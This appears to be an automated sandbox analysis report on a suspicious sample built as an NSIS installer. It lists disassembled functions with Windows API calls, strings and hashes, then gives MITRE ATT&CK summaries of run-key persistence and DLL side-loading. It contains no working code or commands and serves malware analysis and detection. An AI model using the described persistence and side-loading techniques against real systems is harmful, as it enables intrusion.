Instruction Fuzzy Hash: B6019E71900218BAEB00DB94DD81FFFBBBCAF44711F10012BBA01B61C0C7B899418BA4

Function 00402E4A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E65
MulDiv.KERNEL32(?,00000064,?), ref: 00402E90
wsprintfA.USER32 ref: 00402EA0
SetWindowTextA.USER32(?,?), ref: 00402EB0
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402EC2

Strings

verifying installer: %d%%, xrefs: 00402E9A

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 008e47a76e30b834da19422bd6ea308201e4826492d01be12a9765c28616dd6c
Instruction ID: 08bf30aeaad7c3c0f985f8b81484beb4ade113f1463dbf8d033ac048ea6a4a00
Opcode Fuzzy Hash: 008e47a76e30b834da19422bd6ea308201e4826492d01be12a9765c28616dd6c
Instruction Fuzzy Hash: EF016270640208FBEF209F60DE09EEE3769AB10304F008039FA06B51E1DBB89D56CF99

Function 00406647 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040665E
wsprintfA.USER32 ref: 00406697
LoadLibraryExA.KERNEL32(?,00000000,00000008), ref: 004066AB

Strings

\, xrefs: 0040666F
UXTHEME, xrefs: 00406650
%s%s.dll, xrefs: 00406691

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: bb0c7447bffed25a47ff2517fd87417c43c35d72d0d658bdc18f354cf5cb2530
Instruction ID: e759eb08ac56218b9122c2e4f19d02add1096545fd4a6e696b7e3c492baae584
Opcode Fuzzy Hash: bb0c7447bffed25a47ff2517fd87417c43c35d72d0d658bdc18f354cf5cb2530
Instruction Fuzzy Hash: 74F0FC305002096BDF149B74DD0DFEB365CAF08704F14097AA586E10D1E9B9D4758B69

Function 0040280D Relevance: 9.1, APIs: 6, Instructions: 91memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 0040286E
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040288A
GlobalFree.KERNEL32(?), ref: 004028C9
GlobalFree.KERNEL32(00000000), ref: 004028DC
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004028F8
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 0040290B

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: a68628d14a43e02da4207674ff12a1b8572f7d1f991c83550e0ec062b3caa043
Instruction ID: f5f6ffd272893f167dd8362f30c9a288e23aa0477cfe19fc00766ec7197ba147
Opcode Fuzzy Hash: a68628d14a43e02da4207674ff12a1b8572f7d1f991c83550e0ec062b3caa043
Instruction Fuzzy Hash: EA319E32C00124BBEF216FA5CE48D9E7A79EF04364F10823AF554B72E1CB7949419FA8

Function 00403168 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004031CF
GetTickCount.KERNEL32 ref: 00403276
MulDiv.KERNEL32(7FFFFFFF,00000064,00000008), ref: 0040329F
wsprintfA.USER32 ref: 004032AF

Strings

... %d%%, xrefs: 004032A9

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%
API String ID: 551687249-2449383134
Opcode ID: f5d90bcb7ebd89fe1cd05b14302609a37f21c12a4aba64411c0a4f0db4ef4cc6
Instruction ID: 381bea1cd078569db79acba847b1f3aad866332683383cfda6df38e9538e1e3d
Opcode Fuzzy Hash: f5d90bcb7ebd89fe1cd05b14302609a37f21c12a4aba64411c0a4f0db4ef4cc6
Instruction Fuzzy Hash: 91513D71800219EBDB10DF65DA84B9E7BB8EB5535AF14417BEC00B72D0CB789A50CBA9

Function 00406587 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(0000000C,*?|<>/":,00000000,?,74DF3410,00436400,00435000,004033B3,00436400,00436400,004036B5,?,00000008,0000000A,0000000C), ref: 004065DF
CharNextA.USER32(0000000C,0000000C,0000000C,00000000,?,74DF3410,00436400,00435000,004033B3,00436400,00436400,004036B5,?,00000008,0000000A,0000000C), ref: 004065EC
CharNextA.USER32(0000000C,?,74DF3410,00436400,00435000,004033B3,00436400,00436400,004036B5,?,00000008,0000000A,0000000C), ref: 004065F1
CharPrevA.USER32(0000000C,0000000C,74DF3410,00436400,00435000,004033B3,00436400,00436400,004036B5,?,00000008,0000000A,0000000C), ref: 00406601

Strings

*?|<>/":, xrefs: 004065CF

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 5d1a13f5f6d1e26a5c928a636a6cd85ce9cfe8cb66a926baf99f252f8cb630c3
Instruction ID: 9f335943bb0e62a209881404c60ffb6aa99012b8199ff17f999404b9432e9d26
Opcode Fuzzy Hash: 5d1a13f5f6d1e26a5c928a636a6cd85ce9cfe8cb66a926baf99f252f8cb630c3
Instruction Fuzzy Hash: 871104618053923DFB3216282C44B777F894F97760F1A007FE5C2722C6CA7C5C62966D

Function 0040177E Relevance: 7.6, APIs: 5, Instructions: 147stringtimeCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(00000000,00000000,0040A430,00435800,00000000,00000000,00000031), ref: 004017BD
CompareFileTime.KERNEL32(-00000014,?,0040A430,0040A430,00000000,00000000,0040A430,00435800,00000000,00000000,00000031), ref: 004017E7

Part of subcall function 0040628D: lstrcpynA.KERNEL32(0000000C,0000000C,00000400,0040357B,0042E820,NSIS Error,?,00000008,0000000A,0000000C), ref: 0040629A

Part of subcall function 004053D1: lstrlenA.KERNEL32(00429C68,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,004032C3,00000000,?), ref: 0040540A
Part of subcall function 004053D1: lstrlenA.KERNEL32(004032C3,00429C68,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,004032C3,00000000), ref: 0040541A
Part of subcall function 004053D1: lstrcatA.KERNEL32(00429C68,004032C3,004032C3,00429C68,00000000,?,74DF23A0), ref: 0040542D
Part of subcall function 004053D1: SetWindowTextA.USER32(00429C68,00429C68), ref: 0040543F
Part of subcall function 004053D1: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405465
Part of subcall function 004053D1: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 0040547F
Part of subcall function 004053D1: SendMessageA.USER32(?,00001013,?,00000000), ref: 0040548D

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 1a1072c2038cbf95956adf311cc3bef911504581aab660e216232240bcca97c3
Instruction ID: a1f186b67c4edeb34fad59b9cedf70daa635d1c2101920768012b0df21243cfe
Opcode Fuzzy Hash: 1a1072c2038cbf95956adf311cc3bef911504581aab660e216232240bcca97c3
Instruction Fuzzy Hash: 6041C331900515BBCB107BA5CD46EAF3A78DF05328F20823FF526F11E2D67C8A519AAD

Function 00402D60 Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402DB4
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402E00
RegCloseKey.ADVAPI32(?,?,?), ref: 00402E09
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402E20
RegCloseKey.ADVAPI32(?,?,?), ref: 00402E2B

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 31db4fe3a83ab3222004bb99c88de970b8ea6707b57bc237e5c93fbc2d64a622
Instruction ID: 6dce0a33df475c695949d28520f5422678f12aee2cc84e9e423a55bf09ef2c56
Opcode Fuzzy Hash: 31db4fe3a83ab3222004bb99c88de970b8ea6707b57bc237e5c93fbc2d64a622
Instruction Fuzzy Hash: 3B215C7250010CBBDF129F90CE89EEF7B6DEB44344F100076FA15B11A0E7B48F54AAA8

Function 00401D8A Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401DA3
GetClientRect.USER32(?,?), ref: 00401DF1
LoadImageA.USER32(?,?,?,?,?,?), ref: 00401E21
SendMessageA.USER32(?,00000172,?,00000000), ref: 00401E35
DeleteObject.GDI32(00000000), ref: 00401E45

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: e1d6a9ee3c5b7c1e8a311aee8a429abf799163a7f8b121a70cc01e31e7316f78
Instruction ID: fce380eb4141a570f491a0e518fb8aa8e4aa376f46a8457bbd9b5af61eb39f7b
Opcode Fuzzy Hash: e1d6a9ee3c5b7c1e8a311aee8a429abf799163a7f8b121a70cc01e31e7316f78
Instruction Fuzzy Hash: AE210A72E00509AFDF15DF94DD45AAEBBB6FB48300F10407AF505F62A1CB389941DB58

Function 00401E5A Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E5D
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E77
MulDiv.KERNEL32(00000000,00000000), ref: 00401E7F
ReleaseDC.USER32(?,00000000), ref: 00401E90
CreateFontIndirectA.GDI32(0040B830), ref: 00401EDF

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: ccc424111de2d8fdc78d27f8554941ebead3544ddde10de4f69b2752e2115fa2
Instruction ID: 3235dfa2473664f3223cdf9cba53c0ab50ba273bd9661b34cbd5463b8b999ac8
Opcode Fuzzy Hash: ccc424111de2d8fdc78d27f8554941ebead3544ddde10de4f69b2752e2115fa2
Instruction Fuzzy Hash: FE017572504344AFE7107B60AE49B9E3FF8E715701F10897AF181B62F2CB7800058B6D

Function 00401C53 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CC3
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401CDB

Strings

!, xrefs: 00401C8F

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 6b7a83c98c9a4dd998c630d8be00bc685075749139b64b10b53530248dbe3f14
Instruction ID: 290ea32ff0ec2f544a370e30947e4a0d8eefe4f8a949274a77cee2e27ce3354c
Opcode Fuzzy Hash: 6b7a83c98c9a4dd998c630d8be00bc685075749139b64b10b53530248dbe3f14
Instruction Fuzzy Hash: E121B471948209BFEF05AFA4DA86AAE7FB1EF44304F20447EF105B61D1C6B98681DB18

Function 00404B76 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(0042A488,0042A488,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404A91,000000DF,00000000,00000400,?), ref: 00404C14
wsprintfA.USER32 ref: 00404C1C
SetDlgItemTextA.USER32(?,0042A488), ref: 00404C2F

Strings

%u.%u%s%s, xrefs: 00404BFE

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 535e9ddcb49fc2af00bd827ff7e70f18c38bbd05e3bf044e223da0312c8e4865
Instruction ID: 5f9a4297b7b6a3636d8a8bee3f83e4b2b5f26aab9c0b753bab98504590b6652f
Opcode Fuzzy Hash: 535e9ddcb49fc2af00bd827ff7e70f18c38bbd05e3bf044e223da0312c8e4865
Instruction Fuzzy Hash: BE110A73A041243BEB0065AD9C45FAE3698DB85374F250237FE26F61D1EA78DC1281E9

Function 004020CA Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000001,000000F0), ref: 004020F5

Part of subcall function 004053D1: lstrlenA.KERNEL32(00429C68,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,004032C3,00000000,?), ref: 0040540A
Part of subcall function 004053D1: lstrlenA.KERNEL32(004032C3,00429C68,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,004032C3,00000000), ref: 0040541A
Part of subcall function 004053D1: lstrcatA.KERNEL32(00429C68,004032C3,004032C3,00429C68,00000000,?,74DF23A0), ref: 0040542D
Part of subcall function 004053D1: SetWindowTextA.USER32(00429C68,00429C68), ref: 0040543F
Part of subcall function 004053D1: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405465
Part of subcall function 004053D1: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 0040547F
Part of subcall function 004053D1: SendMessageA.USER32(?,00001013,?,00000000), ref: 0040548D

LoadLibraryExA.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00402105
GetProcAddress.KERNEL32(00000000,?), ref: 00402115
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 0040217F

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: d236e91e9817b245ae95546f76f8452ffb34461b05ce790c6aa1380878e74418
Instruction ID: 18bbb9f6491bb16bc869df63e9f5beea4603ad23440c914569cabcc4b16c920a
Opcode Fuzzy Hash: d236e91e9817b245ae95546f76f8452ffb34461b05ce790c6aa1380878e74418
Instruction Fuzzy Hash: ED21C931A00115BBCF20BF659F89B6F7570AB40358F20413BF611B61D1CABD49839A5E

Function 00402ECD Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,004030AB,00000001,?,?,00403722,?,?,00000008,0000000A,0000000C), ref: 00402EE0
GetTickCount.KERNEL32 ref: 00402EFE
CreateDialogParamA.USER32(0000006F,00000000,00402E4A,00000000), ref: 00402F1B
ShowWindow.USER32(00000000,00000005,?,?,00403722,?,?,00000008,0000000A,0000000C), ref: 00402F29

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 82cc071085b0e421d38bebfb76feb0ba11fa504106e74bc84e10844e5b096cab
Instruction ID: 55e8d60830c64a568362c8f460213b41695a60035779f7009bf19f5ad348a086
Opcode Fuzzy Hash: 82cc071085b0e421d38bebfb76feb0ba11fa504106e74bc84e10844e5b096cab
Instruction Fuzzy Hash: B7F03A30A45621EBC771AB50FE0CA9B7B64FB05B59B41043AF001F11A9CB745852DBED

Function 00405345 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405374
CallWindowProcA.USER32(?,?,?,?), ref: 004053C5

Part of subcall function 00404379: SendMessageA.USER32(?,00000000,00000000,00000000), ref: 0040438B

Strings

, xrefs: 00405355

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: b9d322c03724d0f4ccaad077e5ef09c26c8614d3de5af0662f84842769c694b6
Instruction ID: 98c6722e6a54b641667f931c9e29074c60bd52ab0debc5010bc9b6450a54dc72
Opcode Fuzzy Hash: b9d322c03724d0f4ccaad077e5ef09c26c8614d3de5af0662f84842769c694b6
Instruction Fuzzy Hash: 9201B171100608AFFF205F11ED84A6B3A26EB84794F50413BFE407A1D1C3B98C629E5E

Function 00405E4F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405E63
GetTempFileNameA.KERNEL32(0000000C,?,00000000,?,?,004033D6,00436000,00436400,00436400,00436400,00436400,00436400,00436400,004036B5,?,00000008), ref: 00405E7D

Strings

nsa, xrefs: 00405E5A

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 785ee4e59b25deabe338fa9c65985dff7b7c4930a860df7800de2eab11a71ed7
Instruction ID: 3970c65dfeb72379d163dc795dbdbe3f0392b49dfad0d6f3c406a96719355742
Opcode Fuzzy Hash: 785ee4e59b25deabe338fa9c65985dff7b7c4930a860df7800de2eab11a71ed7
Instruction Fuzzy Hash: A0F082363042046BDB109F56EC04B9B7B9CEF91750F10803BF9889B180D6B099558798

Function 00405D85 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FE0,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D95
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405DAD
CharNextA.USER32(00000000,?,00000000,00405FE0,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405DBE
lstrlenA.KERNEL32(00000000,?,00000000,00405FE0,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405DC7

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 4f1eaa0065bfc49b54b56e64601aea382fadfb9647de4ff4bb676f0ffe3a7a9e
Instruction ID: 0b01db06aa3b468373a9359c006e34c779135354681a34c4aba1de8cdbfa9028
Opcode Fuzzy Hash: 4f1eaa0065bfc49b54b56e64601aea382fadfb9647de4ff4bb676f0ffe3a7a9e
Instruction Fuzzy Hash: 86F0C231100418AFC7029BA5CE0499EBBA8EF06250B2180AAE840F7211D674DE01AB6C

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
